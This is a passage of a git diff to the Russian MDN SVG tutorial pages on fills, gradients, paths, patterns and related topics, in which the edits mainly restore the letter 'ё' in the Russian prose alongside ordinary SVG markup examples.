      -

      Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать четный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.

      +

      Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать чётный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.

      Также есть дополнительные stroke и fill свойства: fill-rule, которое определяет как будут заливаться сложные фигуры, которые имеют пересечения внутри себя; stroke-miterlimit, which determines if a stroke should draw miters и stroke-dashoffset, который указывает где начинается dash-array в линии (позволяет задать смещение пунктирной обводки относительно первоначального положения)

      @@ -103,7 +103,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
       <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/>
       
      -

      или может быть помещен в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <head>, как это делается в HTML, она включается в зону <defs>, предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.

      +

      или может быть помещён в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <head>, как это делается в HTML, она включается в зону <defs>, предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.

      <?xml version="1.0" standalone="no"?>
       <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1">
      diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html
      index d063063795..13e8214c27 100644
      --- a/files/ru/web/svg/tutorial/filter_effects/index.html
      +++ b/files/ru/web/svg/tutorial/filter_effects/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/SVG/Tutorial/Filter_effects
       ---
       

      {{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}

      -

      Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определенного эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. 
      +

      Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определённого эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. 

      Основным примером может послужить эффект размытия в SVG. Базовый эффект размытия может быть достигнут с помощью градиентов, фильтр размытия необходим, чтобы сделать что-либо большее.

      diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html index c50b5ba0ea..f42a01eda8 100644 --- a/files/ru/web/svg/tutorial/getting_started/index.html +++ b/files/ru/web/svg/tutorial/getting_started/index.html @@ -10,7 +10,7 @@ translation_of: Web/SVG/Tutorial/Getting_Started

      Простой пример

      -

      Давайте начнем наше погружение с простого примера. Посмотрите на код, представленный ниже:

      +

      Давайте начнём наше погружение с простого примера. Посмотрите на код, представленный ниже:

      <svg version="1.1"
            baseProfile="full"
      @@ -38,12 +38,12 @@ translation_of: Web/SVG/Tutorial/Getting_Started
         
      • как известно из (X)HTML, декларацию doctype следует опустить, потому что DTD на основе валидации SVG приводит к бо́льшим проблемам, чем их решает
      • до SVG 2, чтобы обозначить версию SVG для других типов валидации, всегда следует использовать атрибуты version и baseProfile. Но в SVG 2 оба эти атрибута version и baseProfile обрели статус не рекомендованных
      • -
      • как диалект XML, SVG всегда правильно должен связывать пространства имен (в атрибуте xmlns). Смотри страницу Namespaces Crash Course для большей информации.
      • +
      • как диалект XML, SVG всегда правильно должен связывать пространства имён (в атрибуте xmlns). Смотри страницу Namespaces Crash Course для большей информации.
    • Фон устанавливается красным при помощи рисования прямоугольника <rect/>, который покрывает всю область изображения
    • -
    • Зеленый круг <circle/> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещен на 150px вправо, и 100px вниз).
    • -
    • Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зеленого круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.
    • +
    • Зелёный круг <circle/> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещён на 150px вправо, и 100px вниз).
    • +
    • Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зелёного круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.
    • Основные свойства файлов SVG

      diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html index 2e4ef085cf..45faea509a 100644 --- a/files/ru/web/svg/tutorial/gradients/index.html +++ b/files/ru/web/svg/tutorial/gradients/index.html @@ -42,7 +42,7 @@ translation_of: Web/SVG/Tutorial/Gradients

      {{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}

      -

      Выше находится пример линейного градиента, который применен к элементу <rect>. Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определенных атрибутом offset для позиции и атрибутом stop-color. Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, Gradient1 начинается с красного цвета, изменяется до прозрачно-черного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут stop-opacity, чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).

      +

      Выше находится пример линейного градиента, который применён к элементу <rect>. Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом offset для позиции и атрибутом stop-color. Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, Gradient1 начинается с красного цвета, изменяется до прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут stop-opacity, чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).

       <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/>
       
      @@ -95,9 +95,9 @@ translation_of: Web/SVG/Tutorial/Gradients

      {{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}

      -

      Атрибуты stop, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <radialGradient> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как cx и cy, и радиус - r. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять ее размер, как показано во втором прямоугольнике выше.

      +

      Атрибуты stop, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <radialGradient> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как cx и cy, и радиус - r. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять её размер, как показано во втором прямоугольнике выше.

      -

      Вторая "точка" называется фокальной и задается атрибутами fx и fy. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его середина. Это легко увидеть на примере.

      +

      Вторая "точка" называется фокальной и задаётся атрибутами fx и fy. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его середина. Это легко увидеть на примере.

      Center and focal point

      @@ -128,7 +128,7 @@ translation_of: Web/SVG/Tutorial/Gradients

      Если фокальная точка передвинута за границы круга, то градиент будет отрисован некорректно. Поэтому фокальная точка обязательно должна быть внутри границы круга (или на самой границе). Если фокальная точка не указана, то по дефолту она совпадает с центром круга.

      -

      Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это spreadMethod. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект еще не заполнен. Аттрибут может принимать одно и трех значений:"pad", "reflect", или"repeat". "Pad" - это то что вы пока что видели: когда градиент достигает "краев", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берется из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.

      +

      Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это spreadMethod. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект ещё не заполнен. Аттрибут может принимать одно и трёх значений:"pad", "reflect", или"repeat". "Pad" - это то что вы пока что видели: когда градиент достигает "краёв", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берётся из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.

      spreadMethod

      @@ -176,6 +176,6 @@ translation_of: Web/SVG/Tutorial/Gradients

      Вы также можете применить иную трансформацию к градиенту, используя атрибут gradientTransform, но мы пока что его не изучали, я оставлю это на потом.

      Существуют и другие предостережения для работы с 
      - gradientUnits="objectBoundingBox", когда поле ограничения объекта не является квадратным, но они довольно сложны и им придется ждать, пока кто-то другой не соизволит объяснить их.

      + gradientUnits="objectBoundingBox", когда поле ограничения объекта не является квадратным, но они довольно сложны и им придётся ждать, пока кто-то другой не соизволит объяснить их.

      {{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}

      diff --git a/files/ru/web/svg/tutorial/introduction/index.html b/files/ru/web/svg/tutorial/introduction/index.html index a3c0f8e0e5..4043b9238a 100644 --- a/files/ru/web/svg/tutorial/introduction/index.html +++ b/files/ru/web/svg/tutorial/introduction/index.html @@ -9,9 +9,9 @@ original_slug: Web/SVG/Tutorial/Введение ---

      {{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Введение") }}

      -

      SVG это язык XML разметки, схожий с XHTML, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путем указания всех необходимых линий и форм, путем модификации уже существующих растровых изображений, или путем комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.

      +

      SVG это язык XML разметки, схожий с XHTML, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путём указания всех необходимых линий и форм, путём модификации уже существующих растровых изображений, или путём комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.

      -

      В 1999 году, после конкурса нескольких форматов, SVG был включен в W3C, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными браузерами. Недостатком использования SVG является его медленная загрузка . При этом SVG дает некоторые преимущества, такие как наличие соответствующего DOM interface, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.

      +

      В 1999 году, после конкурса нескольких форматов, SVG был включён в W3C, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными браузерами. Недостатком использования SVG является его медленная загрузка . При этом SVG даёт некоторые преимущества, такие как наличие соответствующего DOM interface, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.

      Базовые компоненты

      @@ -21,9 +21,9 @@ original_slug: Web/SVG/Tutorial/Введение

      До начала работы

      -

      Существует ряд приложений для рисования, такие как Inkscape, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надежный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, JavaScript или CSS).

      +

      Существует ряд приложений для рисования, такие как Inkscape, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надёжный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, JavaScript или CSS).

      -

      SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в Can I use. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растет с каждым новым выпуском.  К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.

      +

      SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в Can I use. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растёт с каждым новым выпуском.  К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.

      Перед тем как начать,  вы должны иметь основное понимание XML или другого языка разметки, такого как HTML. Если вы не очень знакомы с XML, ниже имеются некоторые рекомендации, которые следует иметь ввиду:

      @@ -32,13 +32,13 @@ original_slug: Web/SVG/Tutorial/Введение
    • Значения атрибутов в SVG должны быть помещены внутри кавычек, даже если они являются цифрами.
    • -

      SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать Справочник SVG элементов и SVG интерфейсы,  чтобы найти что-либо еще при необходимости.

      +

      SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать Справочник SVG элементов и SVG интерфейсы,  чтобы найти что-либо ещё при необходимости.

      Особенности SVG

      Начиная с рекомендации 2003 года, самой свежей "полной" версией SVG является версия 1.1. Она построена на SVG 1.0, но содержит также больше модульности для упрощения реализации. Второй выпуск SVG 1.1 стал Рекомендацией в 2011 году. "Полная" версия SVG 1.2 стала следующим главным выпуском SVG. Ей пришла на смену развивающаяся SVG 2.0, которая сейчас усиленно разрабатывается и следует схожему с CSS 3 подходу, в котором она разделяет компоненты в несколько свободно связанных специфирований.

      -

      Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжелыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.

      +

      Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжёлыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.

      Существовали планы для спецификации SVG Print, которая имела бы поддержку для множества страниц и улучшенное управление цветом. Эта работа была прекращена.

      diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html index ba35db7a9a..05ddefc879 100644 --- a/files/ru/web/svg/tutorial/paths/index.html +++ b/files/ru/web/svg/tutorial/paths/index.html @@ -19,7 +19,7 @@ translation_of: Web/SVG/Tutorial/Paths

      Команды линии

      -

      Существуют пять команд линии для узлов <path>.  Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <path> для указания точки, откуда начнется рисование, например:

      +

      Существуют пять команд линии для узлов <path>.  Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <path> для указания точки, откуда начнётся рисование, например:

      M x y
       
      @@ -52,7 +52,7 @@ translation_of: Web/SVG/Tutorial/Paths V y (или v dy)
      -

      Начнем с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <rect>). Он состоит только из горизонтальных и вертикальных линий:

      +

      Начнём с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <rect>). Он состоит только из горизонтальных и вертикальных линий:

      @@ -68,7 +68,7 @@ translation_of: Web/SVG/Tutorial/Paths </svg>
      -

      Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", Z. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для нее регистр буквы не важен.

      +

      Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", Z. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для неё регистр буквы не важен.

       Z (или z)
       
      @@ -83,13 +83,13 @@ translation_of: Web/SVG/Tutorial/Paths
       <path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/>
       
      -

      Путь начнется от точки (10,10), пойдет горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.

      +

      Путь начнётся от точки (10,10), пойдёт горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.

      Возможно, в этих примерах было бы проще использовать элементы <polygon> или <polyline>. Однако, пути используются при рисовании SVG настолько часто, что многим разработчикам может быть удобнее использовать их вместо других элементов.  Нет никакой разницы в производительности при использовании того или другого.

      Команды кривых линий

      -

      Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на Wikipedia. Информации о кривых Безье слишком много, чтобы попытаться охватить ее здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.

      +

      Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на Wikipedia. Информации о кривых Безье слишком много, чтобы попытаться охватить её здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.

      Кривые Безье

      @@ -98,7 +98,7 @@ translation_of: Web/SVG/Tutorial/Paths
       C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
       
      -

      Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создает плавную кривую, которая ведет от наклона, который вы установили в начале вашей линии к наклону на другом конце.

      +

      Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создаёт плавную кривую, которая ведёт от наклона, который вы установили в начале вашей линии к наклону на другом конце.

      Cubic Bézier Curves with grid

      @@ -117,9 +117,9 @@ translation_of: Web/SVG/Tutorial/Paths </svg> -

      Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделенными становятся контрольные точки. Ближе к правому, становятся более отделенными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.

      +

      Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделёнными становятся контрольные точки. Ближе к правому, становятся более отделёнными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.

      -

      Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращенную запись для кривой Безье, используя команду S (или s).

      +

      Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращённую запись для кривой Безье, используя команду S (или s).

       S x2 y2, x y (or s dx2 dy2, dx dy)
       
      @@ -148,7 +148,7 @@ translation_of: Web/SVG/Tutorial/Paths
       T x y (or t dx dy)
       
      -

      Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из нее новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.

      +

      Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из неё новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.

      Обратите внимание, что это работает только в том случае, если предыдущей командой была команда Q или T. Если это не так, то контрольная точка считается той же, что и предыдущая, и вы нарисуете только линии.

      @@ -229,6 +229,6 @@ translation_of: Web/SVG/Tutorial/Paths

      Последние два аргумента, если вы ещё не догадались, обозначают координаты x и y, где заканчивается дуга. Дуги - лёгкий способ создавать части кругов или эллипсов в ваших рисунках. Например, круговая диаграмма требует отдельную дугу для каждого куска диаграммы.

      -

      Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определен. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: http://codepen.io/lingtalfi/pen/yaLWJG (протестировано только в Chrome и Firefox, может не работать в вашем браузере)

      +

      Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определён. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: http://codepen.io/lingtalfi/pen/yaLWJG (протестировано только в Chrome и Firefox, может не работать в вашем браузере)

      {{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}

      diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html index 4c2e459016..81970ec2f5 100644 --- a/files/ru/web/svg/tutorial/patterns/index.html +++ b/files/ru/web/svg/tutorial/patterns/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Tutorial/Patterns

      Шаблоны (Patterns)

      -

      Patterns, по моему мнению, одни из самых запутанных типов заполнения (fill types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определенно стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <defs> в Вашем SVG-файле.

      +

      Patterns, по моему мнению, одни из самых запутанных типов заполнения (fill types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определённо стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <defs> в Вашем SVG-файле.

      <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
         <defs>
      @@ -40,12 +40,12 @@ translation_of: Web/SVG/Tutorial/Patterns
       
       

      В отличие от градиентов, у паттернов есть 2ой атрибут - patternContentUnits, который описывает единицы измерения, используемые в базовых фигурах внутри элемента pattern. Дефолтное значение для этого атрибута -  userSpaceOnUse, противоположность атрибуту patternUnitsЭто означает, что если Вы не укажете один или оба этих атрибута (patternContentUnits и/или patternUnits), фигуры, которые Вы будете рисовать внутри блока <pattern>, будут отрисованы в другой системе координат (отличной от той, которую использует паттерн). Это может немного запутывать, если Вы пишете код вручную.

      -

      Чтобы сделать эту работу в приведенном выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.
      - Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещен на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты x и y шаблона должны были быть скорректированы до 10/200 = 0,05.

      +

      Чтобы сделать эту работу в приведённом выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.
      + Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещён на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты x и y шаблона должны были быть скорректированы до 10/200 = 0,05.

      -

      Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все еще будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.
      +

      Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все ещё будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.
      Изменяя атрибут patternContentUnits , мы можем поместить все элементы в одну единую систему:

       <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox">
      @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/Patterns
        </pattern>
       
      -

      Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменен на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой userSpaceOnUse, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.

      +

      Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменён на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой userSpaceOnUse, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.

      Как ни удивительно, но в кругах Gecko, похоже, есть проблемы с рисованием, если их радиус установлен на что-то меньшее 0.075 (хотя их нужно масштабировать, чтобы иметь гораздо больший радиус, чем этот. Это может быть ошибкой только в шаблоне , Или вообще не ошибка, я не уверен).
      Чтобы обойти это, вероятно, лучше всего избегать рисования блоков «objectBoundingBox», если вам это не нужно.

      @@ -69,7 +69,7 @@ translation_of: Web/SVG/Tutorial/Patterns </pattern>
      -

      Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведенных выше примеров показаны ниже на прямоугольнике, который слегка удлинен до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.

      +

